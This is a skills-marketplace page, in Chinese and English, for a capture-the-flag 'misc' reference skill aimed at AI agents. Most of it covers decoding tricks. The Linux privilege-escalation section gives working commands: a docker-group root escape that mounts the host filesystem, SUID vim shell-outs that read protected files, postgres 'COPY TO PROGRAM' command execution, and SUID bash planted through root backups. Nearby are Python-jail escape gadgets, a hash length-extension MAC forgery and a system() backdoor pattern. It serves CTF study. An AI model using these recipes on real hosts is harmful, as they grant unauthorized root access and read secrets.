npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-miscCTF 杂项挑战快速参考。此处每种技术都有一行描述;完整细节请参阅支持文件。
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
# Base64
echo "encoded" | base64 -d
# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d
# Hex
echo "68656c6c6f" | xxd -r -p
# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
通过字符集识别:
A-Za-z0-9+/=A-Z2-7= (无小写)0-9a-fA-F凯撒暴力破解、URL 编码及完整细节请参阅 encodings.md。
模式(浮点): 数字是隐藏原始字节的 float32 值。
关键洞察: 32 位浮点数只是解释为数字的 4 个字节。重新解释为原始字节 -> ASCII。
import struct
floats = [1.234e5, -3.456e-7, ...] # 挑战给出的任何浮点数
flag = b''
for f in floats:
flag += struct.pack('>f', f)
print(flag.decode())
变体: 双精度 '>d',小端序 '<f',混合。CyberChef 配方请参阅 encodings.md。
模式(Hunt and Peck): USB HID 鼠标流量捕获屏幕键盘输入。使用 USB-Mouse-Pcap-Visualizer,提取点击坐标(下降沿),对相对增量进行累积求和以获得绝对位置,叠加到 OSK 图像上。
file unknown_file
xxd unknown_file | head
binwalk unknown_file
7z x archive.7z # 通用
tar -xzf archive.tar.gz # Gzip
tar -xjf archive.tar.bz2 # Bzip2
tar -xJf archive.tar.xz # XZ
while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
7z x -y "$f" && rm "$f"
done
zbarimg qrcode.png # 解码
qrencode -o out.png "data"
二维码结构、修复技术、分块重组(结构化和索引目录变体)以及多阶段 URL 编码链,请参阅 encodings.md。
sox audio.wav -n spectrogram # 可视化数据
qsstv # SSTV 解码器
完整细节(IQ 格式、QAM-16 解调、载波/定时恢复)请参阅 rf-sdr.md。
快速参考:
np.fromfile(path, dtype=np.complex64) | cs16 : int16 reshape(-1,2) | cu8 : RTL-SDR 原始数据from pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()
L() = 长度,Q(i,x) = 比较,S(guess) = 提交。线性或二分查找。(abcdef := "new_chars") 重新分配约束变量@__import__ + @func.__class__.__dict__[__name__.__name__].__get__ 用于无调用、无引号逃逸open(''.join(['fl','ag.txt'])).read() 当 + 被阻止时使用完整技术请参阅 pyjails.md。
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# 添加约束,检查 sat,提取模型
YARA 规则、作为约束的类型系统、布尔逻辑门网络 SAT 求解,请参阅 games-and-vms.md。
MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995
MAC = SHA-256(SECRET || msg) 已知 msg/hash -> 通过 hlextend 伪造有效 MAC。易受攻击:SHA-256,MD5,SHA-1。不易受攻击:HMAC,SHA-3。
import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
pyinstxtractor.py packed.exe。操作码重映射请参阅 games-and-vms.md。marshal.load(f) 然后 dis.dis(code)。请参阅 games-and-vms.md。PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd"。请参阅 games-and-vms.md。wasm2wat -> 翻转 minimax -> wat2wasm。请参阅 games-and-vms.md。flask-unsign -d -c '<cookie>' 解码未签名的 Flask 会话,泄露游戏答案。请参阅 games-and-vms-2.md。player.x/player.y,调用验证函数。请参阅 games-and-vms-2.md。time.sleep(required_seconds),提交获胜。请参阅 games-and-vms-2.md。W + B@A 低秩矩阵,阈值化为二进制,可视化为位图以获取隐藏标志。请参阅 games-and-vms-2.md。1 和 +)进行受限求值。请参阅 pyjails.md。(😃==😃) 作为常量 1,构建整数,在 add eax, imm32 常量中嵌入小工具,跳转到 offset+1 以获取 shellcode 原语。请参阅 games-and-vms-3.md。/load 替换 ROM 但保留 CPU 状态(寄存器、RAM、PC)。在特定 PC 处切换 ROM,将一个 ROM 的 INIT 与另一个 ROM 的显示指令结合 -> 读取受保护的内存。请参阅 games-and-vms-3.md。buildctl build 并带有 --mount=type=secret 以读取构建密钥。两阶段 Dockerfile:安装 buildctl -> 提交嵌套构建并挂载标志密钥。请参阅 games-and-vms-3.md。模式(flag-irl): 3D 打印机打印铭牌的视频。标志是打印的文本。
技术: 从视频帧追踪喷嘴 X/Y 位置,过滤打印移动(仅顶层/文本层),绘制 2D 直方图以显示字母形状:
# 1. 识别文本层帧(例如,帧 26100-28350)
# 2. 追踪打印头 X 位置(物理 X 轴)
# 3. 追踪打印床 X 位置(相机角度的物理 Y 轴)
# 4. 过滤挤出时的移动(打印时头部移动)
# 5. 绘制为 2D 散点图/直方图 -> 字母出现
标志隐藏在 Discord 元数据中(角色、动画表情符号、嵌入)。调用 /ctf-osint 获取 Discord API 枚举技术和代码(参见 ctf-osint 中的 social-media.md)。
# 查找 SUID 二进制文件
find / -perm -4000 2>/dev/null
# 与 GTFObins 交叉参考
# 带 SUID 的 xxd: xxd flag.txt | xxd -r
# 带 SUID 的 vim: vim -c ':!cat /flag.txt'
# GECOS 字段密码
cat /etc/passwd # 检查第 5 个冒号分隔的字段
# ACL 权限
getfacl /path/to/restricted/file
# Sudo 权限
sudo -l
# Docker 组成员资格(立即获得 root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
docker 组中的用户可以将主机文件系统挂载到容器中并 chroot 到其中以获得 root 访问权限。
# 检查组成员资格
id # 在组中查找 "docker"
# 挂载主机根文件系统并 chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# 现在以 root 身份在主机文件系统上运行
cat /root/flag.txt
关键洞察: Docker 组成员资格等同于 root 访问权限。docker CLI 套接字(/var/run/docker.sock)允许创建挂载整个主机文件系统的特权容器。
Sudo 的 fnmatch() 跨参数边界匹配 *。将额外标志(-Z root,-r,第二个 -w)注入到锁定的命令中。制作包含有效 sudoers 条目的 pcap —— sudo 的解析器从二进制垃圾中恢复,与 cron 的严格解析器不同。请参阅 linux-privesc.md。
Root monit 脚本使用 pgrep -lfa 提取进程命令行,然后执行修改后的版本。通过 perl -e '$0 = "..."' 创建带有注入标志的假进程。Apache -d 最后生效覆盖 ServerRoot;-E 捕获错误输出。Include /root/flag 导致解析错误,从而泄露文件内容。请参阅 linux-privesc.md。
COPY (SELECT '') TO PROGRAM 'cmd' 以 postgres 身份执行 OS 命令。pg_read_file('/path') 读取文件。从 pg_basebackup 归档(global/1260 = pg_authid)中提取凭据。SSH 隧道到 Unix 套接字:ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432。请参阅 linux-privesc.md。
Root cronjob 复制目录时保留 SUID 位但将所有权更改为 root。将 SUID bash 放在源目录中 -> 备份将其复制为 root 拥有的 SUID。使用 bash -p 执行。请参阅 linux-privesc.md。
Root 进程从用户拥有的目录运行脚本。修改 server-command,通过 Mobility Print API 刷新触发。请参阅 linux-privesc.md。
grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"
模式(Frenzy): 字符在 QWERTY 键盘布局上左/右移位。
识别: dCode 密码识别器建议 "键盘移位密码"
解码: 使用 dCode 键盘移位密码 的自动模式。
模式(Working For Peanuts): 基于网格位置表示字母的几何符号。
识别: 有角/几何符号,挑战提到 "Peanuts" 漫画(Charlie Brown),"dusty looking crypto"
解码: 将符号映射到猪圈网格位置,或使用在线解码器。
模式(Cooked Books): CSV/电子表格数值(48-126)是 ASCII 字符代码。
import csv
with open('data.csv') as f:
reader = csv.DictReader(f)
flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)
CyberChef: "From Decimal" 配方,使用换行符分隔。
模式(Rear Hatch): 隐藏的命令前缀触发 system() 调用。
常见模式:
strncmp(input, "exec:", 5) -> 运行 system(input + 5)\x65\x78\x65\x63\x3a = "exec:"完整细节(ECS 欺骗,NSEC 遍历,IXFR,重绑定,隧道)请参阅 dns.md。
快速参考:
dig @server flag.example.com TXT +subnet=10.13.37.1/24 - 尝试 leet-speak IP(1337)dig @server domain IXFR=0 当 AXFR 被阻止时模式(Seen & emoji, Nullcon 2026): 不可见的变体选择符补充字符通过码点偏移编码 ASCII。
# 从可见字符后的变体选择符中提取隐藏数据
data = open('README.md', 'r').read().strip()
hidden = data[1:] # 跳过可见的表情符号字符
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)
检测: 字符显示为不可见但具有非零长度。使用 [hex(ord(c)) for c in text] 检查 —— 查找 0xE0100-0xE01EF 或 0xFE00-0xFE0F 范围内的码点。
模式(Hidden in Plain Sight): 不可见的 Unicode 标签字符嵌入在 URL、文件名或文本中。每个标签码点通过减去 0xE0000 直接映射到 ASCII 字符。URL 编码为 4 字节 UTF-8 序列(%F3%A0%81%...)。
import urllib.parse
url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)
flag = ''.join(
chr(ord(ch) - 0xE0000)
for ch in decoded
if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)
关键洞察: Unicode 标签(U+E0001-U+E007F)与 ASCII 1:1 对应 —— 减去 0xE0000 以恢复原始字符。它们在大多数字体中呈现为零宽度不可见字形。与变体选择符(U+E0100+)不同,这些具有更简单的偏移计算,并出现在 URL 片段、挑战标题或文件名中,其中文本看起来正常但字节长度可疑地长。
检测: 文本或 URL 的字节长度比预期长。以 %F3%A0%80 或 %F3%A0%81 开头的百分号编码序列。Python:any(0xE0000 <= ord(c) <= 0xE007F for c in text)。
模式(endians): 文本 "变成日语" —— 来自 UTF-16 字节序不匹配的乱码。
# 如果编码为 UTF-16-LE 但解码为 UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
识别: CJK 字符,挑战提到 "翻译" 或 "字节序"。细节请参阅 encodings.md。
A-Za-z0-9+/=,标题暗示 "64"A-Z2-7= 仅大写自动识别: dCode 密码识别器
无需 cat/less/head 读取文件:HISTFILE=/flag /bin/bash && history,或 bash -v flag.txt(详细模式打印行),或 ctypes.sh dlcall 用于直接 C 库调用。请参阅 bashjails.md。
预言机返回猜测与秘密之间的编辑距离。从空字符串确定长度,从单字符重复识别存在的字符,二分查找位置。O(n log n) 查询。请参阅 games-and-vms-3.md。
每周安装次数
676
仓库
GitHub Stars
694
首次出现
2026年2月1日
安全审计
安装于
codex665
opencode663
github-copilot652
gemini-cli650
amp650
kimi-cli649
Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.
# Base64
echo "encoded" | base64 -d
# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d
# Hex
echo "68656c6c6f" | xxd -r -p
# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
Identify by charset:
A-Za-z0-9+/=A-Z2-7= (no lowercase)0-9a-fA-FSee encodings.md for Caesar brute force, URL encoding, and full details.
Pattern (Floating): Numbers are float32 values hiding raw bytes.
Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.
import struct
floats = [1.234e5, -3.456e-7, ...] # Whatever the challenge gives
flag = b''
for f in floats:
flag += struct.pack('>f', f)
print(flag.decode())
Variations: Double '>d', little-endian '<f', mixed. See encodings.md for CyberChef recipe.
Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.
file unknown_file
xxd unknown_file | head
binwalk unknown_file
7z x archive.7z # Universal
tar -xzf archive.tar.gz # Gzip
tar -xjf archive.tar.bz2 # Bzip2
tar -xJf archive.tar.xz # XZ
while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
7z x -y "$f" && rm "$f"
done
zbarimg qrcode.png # Decode
qrencode -o out.png "data"
See encodings.md for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.
sox audio.wav -n spectrogram # Visual data
qsstv # SSTV decoder
See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).
Quick reference:
np.fromfile(path, dtype=np.complex64) | cs16 : int16 reshape(-1,2) | cu8 : RTL-SDR rawfrom pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()
L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.(abcdef := "new_chars") reassigns constraint vars@__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escapeopen(''.join(['fl','ag.txt'])).read() when + is blockedSee pyjails.md for full techniques.
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract model
See games-and-vms.md for YARA rules, type systems as constraints, boolean logic gate network SAT solving.
MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995
MAC = SHA-256(SECRET || msg) with known msg/hash -> forge valid MAC via hlextend. Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.
import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
pyinstxtractor.py packed.exe. See games-and-vms.md for opcode remapping.marshal.load(f) then dis.dis(code). See games-and-vms.md.PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd". See games-and-vms.md.wasm2wat -> flip minimax -> wat2wasm. See games-and-vms.md.Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.
Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:
# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear
Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke /ctf-osint for Discord API enumeration technique and code (see social-media.md in ctf-osint).
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'
Reference: https://gtfobins.github.io/
# GECOS field passwords
cat /etc/passwd # Check 5th colon-separated field
# ACL permissions
getfacl /path/to/restricted/file
# Sudo permissions
sudo -l
# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
User in the docker group can mount the host filesystem into a container and chroot into it for root access.
# Check group membership
id # Look for "docker" in groups
# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Now running as root on the host filesystem
cat /root/flag.txt
Key insight: Docker group membership is equivalent to root access. The docker CLI socket (/var/run/docker.sock) allows creating privileged containers that mount the entire host filesystem.
Reference: https://gtfobins.github.io/gtfobins/docker/
Sudo's fnmatch() matches * across argument boundaries. Inject extra flags (-Z root, -r, second -w) into locked-down commands. Craft pcap with embedded valid sudoers entries — sudo's parser recovers from binary junk, unlike cron's strict parser. See linux-privesc.md.
Root monit script uses pgrep -lfa to extract process command lines, then executes a modified version. Create fake process via perl -e '$0 = "..."' with injected flags. Apache -d last-wins overrides ServerRoot; -E captures error output. Include /root/flag causes a parse error that reveals the file content. See linux-privesc.md.
COPY (SELECT '') TO PROGRAM 'cmd' executes OS commands as postgres. pg_read_file('/path') reads files. Extract credentials from pg_basebackup archives (global/1260 = pg_authid). SSH tunnel to Unix sockets: ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432. See linux-privesc.md.
Root cronjob copying directories preserves SUID bit but changes ownership to root. Place SUID bash in source directory → backup copies it as root-owned SUID. Execute with bash -p. See linux-privesc.md.
Root process runs scripts from user-owned directory. Modify server-command, trigger via Mobility Print API refresh. See linux-privesc.md.
grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"
Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.
Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"
Decoding: Use dCode Keyboard Shift Cipher with automatic mode.
Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.
Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"
Decoding: Map symbols to Pigpen grid positions, or use online decoder.
Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.
import csv
with open('data.csv') as f:
reader = csv.DictReader(f)
flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)
CyberChef: "From Decimal" recipe with line feed delimiter.
Pattern (Rear Hatch): Hidden command prefix triggers system() call.
Common patterns:
strncmp(input, "exec:", 5) -> runs system(input + 5)\x65\x78\x65\x63\x3a = "exec:"See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).
Quick reference:
dig @server flag.example.com TXT +subnet=10.13.37.1/24 - try leet-speak IPs (1337)dig @server domain IXFR=0 when AXFR is blockedPatterns (Seen & emoji, Nullcon 2026): Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.
# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:] # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)
Detection: Characters appear invisible but have non-zero length. Check with [hex(ord(c)) for c in text] -- look for codepoints in 0xE0100-0xE01EF or 0xFE00-0xFE0F range.
Pattern (Hidden in Plain Sight): Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting 0xE0000. URL-encoded as 4-byte UTF-8 sequences (%F3%A0%81%...).
import urllib.parse
url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)
flag = ''.join(
chr(ord(ch) - 0xE0000)
for ch in decoded
if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)
Key insight: Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract 0xE0000 to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.
Detection: Text or URL is longer than expected in bytes. Percent-encoded sequences starting with %F3%A0%80 or %F3%A0%81. Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text).
Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.
# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.
A-Za-z0-9+/=, title hints "64"A-Z2-7= uppercase onlyAuto-identify: dCode Cipher Identifier
Read files without cat/less/head: HISTFILE=/flag /bin/bash && history, or bash -v flag.txt (verbose mode prints lines), or ctypes.sh dlcall for direct C library calls. See bashjails.md.
Oracle returns edit distance between guess and secret. Determine length from empty string, identify present chars from single-char repeats, binary search for positions. O(n log n) queries. See games-and-vms-3.md.
Weekly Installs
676
Repository
GitHub Stars
694
First Seen
Feb 1, 2026
Security Audits
Gen Agent Trust HubWarnSocketFailSnykFail
Installed on
codex665
opencode663
github-copilot652
gemini-cli650
amp650
kimi-cli649
Vue 3 调试指南:解决响应式、计算属性与监听器常见错误
9,800 周安装
flask-unsign -d -c '<cookie>' decodes unsigned Flask sessions, leaking game answers. See games-and-vms-2.md.player.x/player.y in console, call verification function. See games-and-vms-2.md.time.sleep(required_seconds), submit win. See games-and-vms-2.md.W + B@A low-rank matrices, threshold to binary, visualize as bitmap for hidden flag. See games-and-vms-2.md.1 and +) for restricted eval. See pyjails.md.(😃==😃) as constant 1, build integers, embed gadgets in add eax, imm32 constants, jump to offset+1 for shellcode primitives. See games-and-vms-3.md./load replaces ROM but preserves CPU state (registers, RAM, PC). Switch ROMs at specific PCs to combine INIT from one ROM with display instructions from another → read protected memory. See games-and-vms-3.md.buildctl build with --mount=type=secret to read build secrets. Two-stage Dockerfile: install buildctl → submit nested build mounting flag secret. See games-and-vms-3.md.